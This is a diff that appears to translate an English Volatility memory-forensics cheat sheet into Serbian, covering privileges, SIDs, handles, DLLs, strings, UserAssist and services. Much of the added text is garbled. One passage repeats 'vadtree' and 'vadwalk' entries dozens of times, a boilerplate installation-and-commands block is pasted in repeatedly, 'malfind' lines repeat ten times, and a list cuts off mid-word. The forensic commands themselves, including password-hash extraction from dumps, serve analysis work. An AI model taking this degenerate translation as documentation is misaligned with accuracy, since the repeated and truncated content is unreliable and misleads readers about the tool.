Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispis u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispis u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **mbrparser**: Prikazuje Master Boot Record (MBR). +- **yarascan**: Skenira memorijski ispis koristeći YARA pravila. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Izvlači sadržaj VAD-a iz memorijskog ispisa. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **v ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled @@ -300,18 +883,75 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). - -{% tabs %} -{% tab title="vol3" %} +Proverite svaki SSID koji je u vlasništvu procesa.\ +Bilo bi interesantno izlistati procese koji koriste privilegovanu SSID (i procese koji koriste neku servisnu SSID). ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **privs**: Prikazuje privilegije za određeni proces. +- **getsids**: Prikazuje SID-ove za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama. +- **consoles**: Prikazuje listu konzola. +- **screenshots**: Pravi snimke ekrana. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service @@ -319,25 +959,79 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of {% endtab %} {% endtabs %} -### Handles +### Drške -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +Korisno je znati kojim drugim datotekama, ključevima, nitima, procesima... **proces ima dršku** (otvoreno). {% tabs %} {% tab title="vol3" %} ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači otvorene fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **printval**: Prikazuje vrednost registarskog ključa. +- **mftparser**: Analizira Master File Table (MFT) iz memorijskog ispisa. +- **usnparser**: Analizira Update Sequence Number (USN) iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` {% endtab %} {% endtabs %} -### DLLs +### DLL-ovi {% tabs %} {% tab title="vol3" %} @@ -345,8 +1039,6 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` -{% endtab %} - {% tab title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc @@ -357,7 +1049,7 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm ### Strings per processes -Volatility allows us to check which process a string belongs to. +Volatility nam omogućava da proverimo kojem procesu pripada određeni string. {% tabs %} {% tab title="vol3" %} @@ -365,9 +1057,83 @@ Volatility allows us to check which process a string belongs to. strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **kpcrscan**: Skenira memorijski ispisa u potrazi za KPCR strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova. +- **handles**: Prikazuje listu otvorenih ručki. +- **cmdline**: Prikazuje argumente komandne linije za svaki proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **gdt**: Prikazuje Global Descriptor Table (GDT). +- **idt**: Prikazuje Interrupt Descriptor Table (IDT). +- **callbacks**: Prikazuje listu callback funkcija. +- **driverirp**: Prikazuje IRP strukturu za drajvere. +- **devicetree**: Prikazuje stablo uređaja. +- **privs**: Prikazuje privilegije za svaki proces. +- **getsids**: Prikazuje SID-ove za svaki proces. +- **envars**: Prikazuje okruženje za svaki proces. +- **svcscan**: Skenira memorijski ispisa u potrazi za Windows servisima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **gdt**: Prikazuje Global Descriptor Table (GDT). +- **idt**: Prikazuje Interrupt Descriptor Table (IDT). +- **callbacks**: Prikazuje listu callback funkcija. +- **driverirp**: Prikazuje IRP strukturu za drajvere. +- **devicetree**: Prikazuje stablo uređaja. +- **privs**: Prikazuje privilegije za svaki proces. +- **getsids**: Prikazuje SID-ove za svaki proces. +- **envars**: Prikazuje okruženje za svaki proces. +- **svcscan**: Skenira memorijski ispisa u potrazi za Windows servisima. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) + +#### Reference + +- [https://www.volatilityfoundation.org/](https://www.volatilityfoundation.org/) +- [https://github.com/volatilityfoundation/volatility](https://github.com/volatilityfoundation/volatility) ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -378,7 +1144,7 @@ strings 3532.dmp > strings_file {% endtab %} {% endtabs %} -It also allows to search for strings inside a process using the yarascan module: +Takođe omogućava pretragu stringova unutar procesa koristeći modul yarascan: {% tabs %} {% tab title="vol3" %} @@ -386,9 +1152,55 @@ It also allows to search for strings inside a process using the yarascan module: ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisu. +- **kdbgscan**: Skenira memorijski ispis u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispis u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispis u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispis u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. +- **malfind**: Pronalazi sumnjive procese i module u memorijskom ispisu. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) + +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` @@ -397,16 +1209,73 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3 ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. - -{% tabs %} -{% tab title="vol3" %} +**Windows** beleži programe koje pokrećete koristeći funkciju u registru nazvanu **UserAssist ključevi**. Ovi ključevi beleže koliko puta je svaki program izvršen i kada je poslednji put pokrenut. ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispisa u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispisa u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **registry**: Prikazuje informacije o registru. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hashdump**: Izvlači lozinke iz memorijskog ispisa. +- **privs**: Prikazuje privilegije za određeni proces. +- **getsids**: Prikazuje SID-ove za određeni proces. +- **envars**: Prikazuje okruženje za određeni proces. +- **cmdscan**: Skenira memorijski ispisa u potrazi za komandama. +- **consoles**: Prikazuje listu konzola. +- **screenshots**: Pravi snimke ekrana. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. +- **malfind**: Pronalazi sumnjive procese i modifikovane funkcije. + +#### Dodatni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility%20Cheat%20Sheet.pdf) ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` @@ -417,11 +1286,11 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo susretište za profesionalce iz oblasti tehnologije i kibernetičke bezbednosti u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} -## Services +## Usluge {% tabs %} {% tab title="vol3" %} @@ -429,9 +1298,190 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisu. +- **kdbgscan**: Skenira memorijski ispis u potrazi za adresom debugera. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispis u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispis u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispis u potrazi za sumnjivim procesima. +- **apihooks**: Prikazuje API hook-ove. +- **ldrmodules**: Prikazuje listu učitanih modula. +- **modscan**: Skenira memorijski ispis u potrazi za modulima. +- **ssdt**: Prikazuje System Service Descriptor Table (SSDT). +- **driverscan**: Skenira memorijski ispis u potrazi za drajverima. +- **devicetree**: Prikazuje stablo uređaja. +- **connections**: Prikazuje aktivne mrežne konekcije. +- **connscan**: Skenira memorijski ispis u potrazi za mrežnim konekcijama. +- **netscan**: Skenira memorijski ispis u potrazi za mrežnim artefaktima. +- **vadinfo**: Prikazuje informacije o Virtual Address Descriptor (VAD). +- **vaddump**: Dumpuje sadržaj VAD-a. +- **vadtree**: Prikazuje stablo VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **vadtree**: Prikazuje stablo 